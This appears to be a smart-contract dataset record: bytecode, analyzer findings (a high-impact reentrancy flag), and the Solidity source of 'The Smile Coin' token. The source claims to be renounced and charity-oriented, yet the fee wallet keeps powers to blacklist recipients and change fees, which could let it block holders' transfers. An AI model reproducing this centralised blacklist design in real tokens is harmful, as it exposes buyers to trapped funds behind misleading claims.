fffff16815260200190815260200160002054106119e757600080fd5b601e426119f49190613268565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611ae35750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b395750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b4f576000600a81905550600a600b819055505b6000611b5a306109dd565b9050600e60159054906101000a900460ff16158015611bc75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611bdf5750600e60169054906101000a900460ff165b15611c0757611bed81611e1b565b60004790506000811115611c0557611c0447611d41565b5b505b505b611c14838383612094565b505050565b6000838311158290611c61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c58919061271e565b60405180910390fd5b5060008385611c70919061332a565b9050809150509392505050565b6000808303611c8f5760009050611cf1565b60008284611c9d919061335e565b9050828482611cac91906133e7565b14611cec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce39061348a565b60405180910390fd5b809150505b92915050565b6000611d3983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120a4565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611da9573d6000803e3d6000fd5b5050565b6000600854821115611df4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611deb9061351c565b60405180910390fd5b6000611dfe612107565b9050611e138184611cf790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5357611e5261288d565b5b604051908082528060200260200182016040528015611e815781602001602082028036833780820191505090505b5090503081600081518110611e9957611e98612c2c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f649190612d53565b81600181518110611f7857611f77612c2c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fdf30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113bf565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120439594939291906135fa565b600060405180830381600087803b15801561205d57600080fd5b505af1158015612071573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61209f838383612132565b505050565b600080831182906120eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e2919061271e565b60405180910390fd5b50600083856120fa91906133e7565b9050809150509392505050565b60008060006121146122fd565b9150915061212b8183611cf790919063ffffffff16565b9250505090565b6000806000806000806121448761235f565b9550955095509550955095506121a286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123c790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061223785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122838161246f565b61228d848361252c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122ea919061286d565b60405180910390a3505050505050505050565b60008060006008549050600068056bc75e2d63100000905061233368056bc75e2d63100000600854611cf790919063ffffffff16565b8210156123525760085468056bc75e2d6310000093509350505061235b565b81819350935050505b9091565b600080600080600080600080600061237c8a600a54600b54612566565b925092509250600061238c612107565b9050600080600061239f8e8787876125fc565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061240983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c19565b905092915050565b60008082846124209190613268565b905083811015612465576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245c906136a0565b60405180910390fd5b8091505092915050565b6000612479612107565b905060006124908284611c7d90919063ffffffff16565b90506124e481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612541826008546123c790919063ffffffff16565b60088190555061255c8160095461241190919063ffffffff16565b6009819055505050565b6000806000806125926064612584888a611c7d90919063ffffffff16565b611cf790919063ffffffff16565b905060006125bc60646125ae888b611c7d90919063ffffffff16565b611cf790919063ffffffff16565b905060006125e5826125d7858c6123c790919063ffffffff16565b6123c790919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126158589611c7d90919063ffffffff16565b9050600061262c8689611c7d90919063ffffffff16565b905060006126438789611c7d90919063ffffffff16565b9050600061266c8261265e85876123c790919063ffffffff16565b6123c790919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156126bf5780820151818401526020810190506126a4565b838111156126ce576000848401525b50505050565b6000601f19601f8301169050919050565b60006126f082612685565b6126fa8185612690565b935061270a8185602086016126a1565b612713816126d4565b840191505092915050565b6000602082019050818103600083015261273881846126e5565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061277f82612754565b9050919050565b61278f81612774565b811461279a57600080fd5b50565b6000813590506127ac81612786565b92915050565b6000819050919050565b6127c5816127b2565b81146127d057600080fd5b50565b6000813590506127e2816127bc565b92915050565b600080604083850312156127ff576127fe61274a565b5b600061280d8582860161279d565b925050602061281e858286016127d3565b9150509250929050565b60008115159050919050565b61283d81612828565b82525050565b60006020820190506128586000830184612834565b92915050565b612867816127b2565b82525050565b6000602082019050612882600083018461285e565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128c5826126d4565b810181811067ffffffffffffffff821117156128e4576128e361288d565b5b80604052505050565b60006128f7612740565b905061290382826128bc565b919050565b600067ffffffffffffffff8211156129235761292261288d565b5b602082029050602081019050919050565b600080fd5b600061294c61294784612908565b6128ed565b9050808382526020820190506020840283018581111561296f5761296e612934565b5b835b818110156129985780612984888261279d565b845260208401935050602081019050612971565b5050509392505050565b600082601f8301126129b7576129b6612888565b5b81356129c7848260208601612939565b91505092915050565b6000602082840312156129e6576129e561274a565b5b600082013567ffffffffffffffff811115612a0457612a0361274f565b5b612a10848285016129a2565b91505092915050565b600080600060608486031215612a3257612a3161274a565b5b6000612a408682870161279d565b9350506020612a518682870161279d565b9250506040612a62868287016127d3565b9150509250925092565b600060208284031215612a8257612a8161274a565b5b6000612a908482850161279d565b91505092915050565b600060ff82169050919050565b612aaf81612a99565b82525050565b6000602082019050612aca6000830184612aa6565b92915050565b612ad981612828565b8114612ae457600080fd5b50565b600081359050612af681612ad0565b92915050565b600060208284031215612b1257612b1161274a565b5b6000612b2084828501612ae7565b91505092915050565b600060208284031215612b3f57612b3e61274a565b5b6000612b4d848285016127d3565b91505092915050565b612b5f81612774565b82525050565b6000602082019050612b7a6000830184612b56565b92915050565b60008060408385031215612b9757612b9661274a565b5b6000612ba58582860161279d565b9250506020612bb68582860161279d565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612bf6602083612690565b9150612c0182612bc0565b602082019050919050565b60006020820190508181036000830152612c2581612be9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c95826127b2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cc757612cc6612c5b565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d08601783612690565b9150612d1382612cd2565b602082019050919050565b60006020820190508181036000830152612d3781612cfb565b9050919050565b600081519050612d4d81612786565b92915050565b600060208284031215612d6957612d6861274a565b5b6000612d7784828501612d3e565b91505092915050565b6000604082019050612d956000830185612b56565b612da26020830184612b56565b9392505050565b6000819050919050565b6000819050919050565b6000612dd8612dd3612dce84612da9565b612db3565b6127b2565b9050919050565b612de881612dbd565b82525050565b600060c082019050612e036000830189612b56565b612e10602083018861285e565b612e1d6040830187612ddf565b612e2a6060830186612ddf565b612e376080830185612b56565b612e4460a083018461285e565b979650505050505050565b600081519050612e5e816127bc565b92915050565b600080600060608486031215612e7d57612e7c61274a565b5b6000612e8b86828701612e4f565b9350506020612e9c86828701612e4f565b9250506040612ead86828701612e4f565b9150509250925092565b6000604082019050612ecc6000830185612b56565b612ed9602083018461285e565b9392505050565b600081519050612eef81612ad0565b92915050565b600060208284031215612f0b57612f0a61274a565b5b6000612f1984828501612ee0565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f7e602483612690565b9150612f8982612f22565b604082019050919050565b60006020820190508181036000830152612fad81612f71565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613010602283612690565b915061301b82612fb4565b604082019050919050565b6000602082019050818103600083015261303f81613003565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130a2602583612690565b91506130ad82613046565b604082019050919050565b600060208201905081810360008301526130d181613095565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613134602383612690565b915061313f826130d8565b604082019050919050565b6000602082019050818103600083015261316381613127565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131c6602983612690565b91506131d18261316a565b604082019050919050565b600060208201905081810360008301526131f5816131b9565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000613232601983612690565b915061323d826131fc565b602082019050919050565b6000602082019050818103600083015261326181613225565b9050919050565b6000613273826127b2565b915061327e836127b2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132b3576132b2612c5b565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006132f4601a83612690565b91506132ff826132be565b602082019050919050565b60006020820190508181036000830152613323816132e7565b9050919050565b6000613335826127b2565b9150613340836127b2565b92508282101561335357613352612c5b565b5b828203905092915050565b6000613369826127b2565b9150613374836127b2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133ad576133ac612c5b565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133f2826127b2565b91506133fd836127b2565b92508261340d5761340c6133b8565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613474602183612690565b915061347f82613418565b604082019050919050565b600060208201905081810360008301526134a381613467565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613506602a83612690565b9150613511826134aa565b604082019050919050565b60006020820190508181036000830152613535816134f9565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61357181612774565b82525050565b60006135838383613568565b60208301905092915050565b6000602082019050919050565b60006135a78261353c565b6135b18185613547565b93506135bc83613558565b8060005b838110156135ed5781516135d48882613577565b97506135df8361358f565b9250506001810190506135c0565b5085935050505092915050565b600060a08201905061360f600083018861285e565b61361c6020830187612ddf565b818103604083015261362e818661359c565b905061363d6060830185612b56565b61364a608083018461285e565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061368a601b83612690565b915061369582613654565b602082019050919050565b600060208201905081810360008301526136b98161367d565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220933b81fe06f6e2075e771d270a6f09b58b3f644e6d340209deac6784ffa2a9eb64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,671
0x9808f71ee956a7cf9ca6e72f15d14327f4fec28b
/** 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 😄 https://t.me/SmileCoinETH https://TheSmileToken.com A charity-oriented token that is helping to fight mental illness across the world. Meet smilecoin. ***************** ****** ****** **** **** **** *** *** *** ** *** *** ** ** ******* ******* *** ** ******* ******* ** ** ******* ******* ** ** *** *** ** ** ** ** * * ** ** ** ** ** ** **** **** ** ** ** ** ** ** *** *** ** *** **** **** *** ** ****** ****** ** *** *************** *** **** **** **** **** ****** ****** ***************** Tokenomics : 30% Token Burn 9% Buy / Sell Tax 1% Max Buy - First 2 minutes 2% Max Wallet - First 2 minutes Renounced & Locked */ pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract TheSmileCoin is Context, IERC20, Ownable { //// mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isDefaulter; uint private constant _totalSupply = 1e15 * 10**9; string public constant name = unicode"The Smile Coin"; //// string public constant symbol = unicode"SMILE"; //// uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _FeeWallet1; address payable public _CharityWallet; address public uniswapV2Pair; uint public _buyFee = 9; uint public _sellFee = 9; uint public _feeRate = 9; uint public _maxTradeAmount; uint public _maxWalletHoldings; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap; bool public _useImpactFeeSetter = true; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event FeeAddress1Updated(address _feewallet1); event FeeAddress2Updated(address _feewallet2); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable FeeAddress1, address payable FeeAddress2) { _FeeWallet1 = FeeAddress1; _CharityWallet = FeeAddress2; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress1] = true; _isExcludedFromFee[FeeAddress2] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){ require (recipient == tx.origin, "pls no bot"); } _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isDefaulter[to], "Transfer failed, Defaulter wallet."); bool isBuy = false; if(from != owner() && to != owner()) { // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); require(block.timestamp != _launchedAt, "pls no snip"); if((_launchedAt + (120 seconds)) > block.timestamp) { require((amount + balanceOf(address(to))) <= _maxWalletHoldings, "ERR : MaxWalletHolding Rule Violated ."); } if((_launchedAt + (120 seconds)) > block.timestamp) { require(amount <= _maxTradeAmount, "Exceeds maximum buy amount."); } isBuy = true; } // sell if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _FeeWallet1.transfer(amount / 2); _CharityWallet.transfer(amount / 2); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} // external functions function addLiquidity() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _tradingOpen = true; _launchedAt = block.timestamp; _maxTradeAmount = 10000000000000 * 10**9; _maxWalletHoldings = 20000000000000 * 10**9; } function manualswap() external { require(_msgSender() == _FeeWallet1); uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeWallet1); uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBuyFees(uint buy) external { require(_msgSender() == _FeeWallet1); require(buy <= 10); _buyFee = buy; emit FeesUpdated(_buyFee, _sellFee); } function setSellFees(uint sell) external { require(_msgSender() == _FeeWallet1); require(sell <= 10); _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function setFeeRate(uint rate) external { require(_msgSender() == _FeeWallet1); require(rate > 0, "Rate can't be zero"); // 100% is the common fee rate _feeRate = rate; emit FeeRateUpdated(_feeRate); } function isDefaulter(address ad) public view returns (bool) { return _isDefaulter[ad]; } function updateFeeAddress1(address newAddress) external { require(_msgSender() == _FeeWallet1); _FeeWallet1 = payable(newAddress); emit FeeAddress1Updated(_FeeWallet1); } function setDefaulter(address defaulter) external { require(_msgSender() == _FeeWallet1); _isDefaulter[defaulter] = true; } function delDefaulter(address defaulter) external { require(_msgSender() == _FeeWallet1); _isDefaulter[defaulter] = false; } function updateFeeAddress2(address newAddress) external { require(_msgSender() == _CharityWallet); _CharityWallet = payable(newAddress); emit FeeAddress2Updated(_CharityWallet); } // view functions function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106102085760003560e01c8063715018a611610118578063c888875d116100a0578063dcf7aef31161006f578063dcf7aef3146105ea578063dd62ed3e1461060a578063e8078d9414610650578063fa68809e14610665578063fd21d63c1461068557600080fd5b8063c888875d14610571578063c9567bf914610587578063d8689e131461059c578063db92dbb6146105d557600080fd5b806395927c25116100e757806395927c25146104d557806395d89b41146104f5578063a9059cbb14610526578063b2131f7d14610546578063c3c8cd801461055c57600080fd5b8063715018a6146104625780638da5cb5b14610477578063908418791461049557806394b8d8f2146104b557600080fd5b8063313ce5671161019b57806349bd5a5e1161016a57806349bd5a5e146103d757806350901617146103f7578063590f897e146104175780636fc3eaec1461042d57806370a082311461044257600080fd5b8063313ce5671461036457806332d873d81461038b57806340b9a54b146103a157806345596e2e146103b757600080fd5b8063128c4b38116101d7578063128c4b38146102da57806318160ddd1461031257806323b872dd1461032f57806327f3a72a1461034f57600080fd5b806306fdde03146102145780630802d2f614610264578063095ea7b3146102865780630ee35cbf146102b657600080fd5b3661020f57005b600080fd5b34801561022057600080fd5b5061024e6040518060400160405280600e81526020016d2a34329029b6b4b6329021b7b4b760911b81525081565b60405161025b9190611929565b60405180910390f35b34801561027057600080fd5b5061028461027f366004611993565b6106a5565b005b34801561029257600080fd5b506102a66102a13660046119b0565b61071a565b604051901515815260200161025b565b3480156102c257600080fd5b506102cc600e5481565b60405190815260200161025b565b3480156102e657600080fd5b506007546102fa906001600160a01b031681565b6040516001600160a01b03909116815260200161025b565b34801561031e57600080fd5b5069d3c21bcecceda10000006102cc565b34801561033b57600080fd5b506102a661034a3660046119dc565b610730565b34801561035b57600080fd5b506102cc610818565b34801561037057600080fd5b50610379600981565b60405160ff909116815260200161025b565b34801561039757600080fd5b506102cc600f5481565b3480156103ad57600080fd5b506102cc600a5481565b3480156103c357600080fd5b506102846103d2366004611a1d565b610828565b3480156103e357600080fd5b506009546102fa906001600160a01b031681565b34801561040357600080fd5b50610284610412366004611993565b6108c2565b34801561042357600080fd5b506102cc600b5481565b34801561043957600080fd5b50610284610930565b34801561044e57600080fd5b506102cc61045d366004611993565b61095d565b34801561046e57600080fd5b50610284610978565b34801561048357600080fd5b506000546001600160a01b03166102fa565b3480156104a157600080fd5b506102846104b0366004611993565b6109ec565b3480156104c157600080fd5b506010546102a69062010000900460ff1681565b3480156104e157600080fd5b506102846104f0366004611a1d565b610a2d565b34801561050157600080fd5b5061024e60405180604001604052806005815260200164534d494c4560d81b81525081565b34801561053257600080fd5b506102a66105413660046119b0565b610a99565b34801561055257600080fd5b506102cc600c5481565b34801561056857600080fd5b50610284610aa6565b34801561057d57600080fd5b506102cc600d5481565b34801561059357600080fd5b50610284610adc565b3480156105a857600080fd5b506102a66105b7366004611993565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156105e157600080fd5b506102cc610b82565b3480156105f657600080fd5b50610284610605366004611a1d565b610b9a565b34801561061657600080fd5b506102cc610625366004611a36565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561065c57600080fd5b50610284610c07565b34801561067157600080fd5b50610284610680366004611993565b610f53565b34801561069157600080fd5b506008546102fa906001600160a01b031681565b6007546001600160a01b0316336001600160a01b0316146106c557600080fd5b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b6000610727338484610f97565b50600192915050565b60105460009060ff16801561075e57506001600160a01b03831660009081526004602052604090205460ff16155b801561077757506009546001600160a01b038581169116145b156107c6576001600160a01b03831632146107c65760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b6107d18484846110bb565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610800908490611a85565b905061080d853383610f97565b506001949350505050565b60006108233061095d565b905090565b6007546001600160a01b0316336001600160a01b03161461084857600080fd5b6000811161088d5760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b60448201526064016107bd565b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd89060200161070f565b6008546001600160a01b0316336001600160a01b0316146108e257600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a530149060200161070f565b6007546001600160a01b0316336001600160a01b03161461095057600080fd5b4761095a816115ab565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146109a25760405162461bcd60e51b81526004016107bd90611a9c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316336001600160a01b031614610a0c57600080fd5b6001600160a01b03166000908152600560205260409020805460ff19169055565b6007546001600160a01b0316336001600160a01b031614610a4d57600080fd5b600a811115610a5b57600080fd5b600b819055600a5460408051918252602082018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910161070f565b60006107273384846110bb565b6007546001600160a01b0316336001600160a01b031614610ac657600080fd5b6000610ad13061095d565b905061095a81611630565b6000546001600160a01b03163314610b065760405162461bcd60e51b81526004016107bd90611a9c565b60105460ff1615610b535760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107bd565b6010805460ff1916600117905542600f5569021e19e0c9bab2400000600d5569043c33c1937564800000600e55565b600954600090610823906001600160a01b031661095d565b6007546001600160a01b0316336001600160a01b031614610bba57600080fd5b600a811115610bc857600080fd5b600a819055600b546040805183815260208101929092527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910161070f565b6000546001600160a01b03163314610c315760405162461bcd60e51b81526004016107bd90611a9c565b60105460ff1615610c7e5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107bd565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610cbc308269d3c21bcecceda1000000610f97565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cfa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d1e9190611ad1565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d6b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d8f9190611ad1565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610ddc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e009190611ad1565b600980546001600160a01b0319166001600160a01b039283161790556006541663f305d7194730610e308161095d565b600080610e456000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ead573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ed29190611aee565b505060095460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610f2b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4f9190611b1c565b5050565b6007546001600160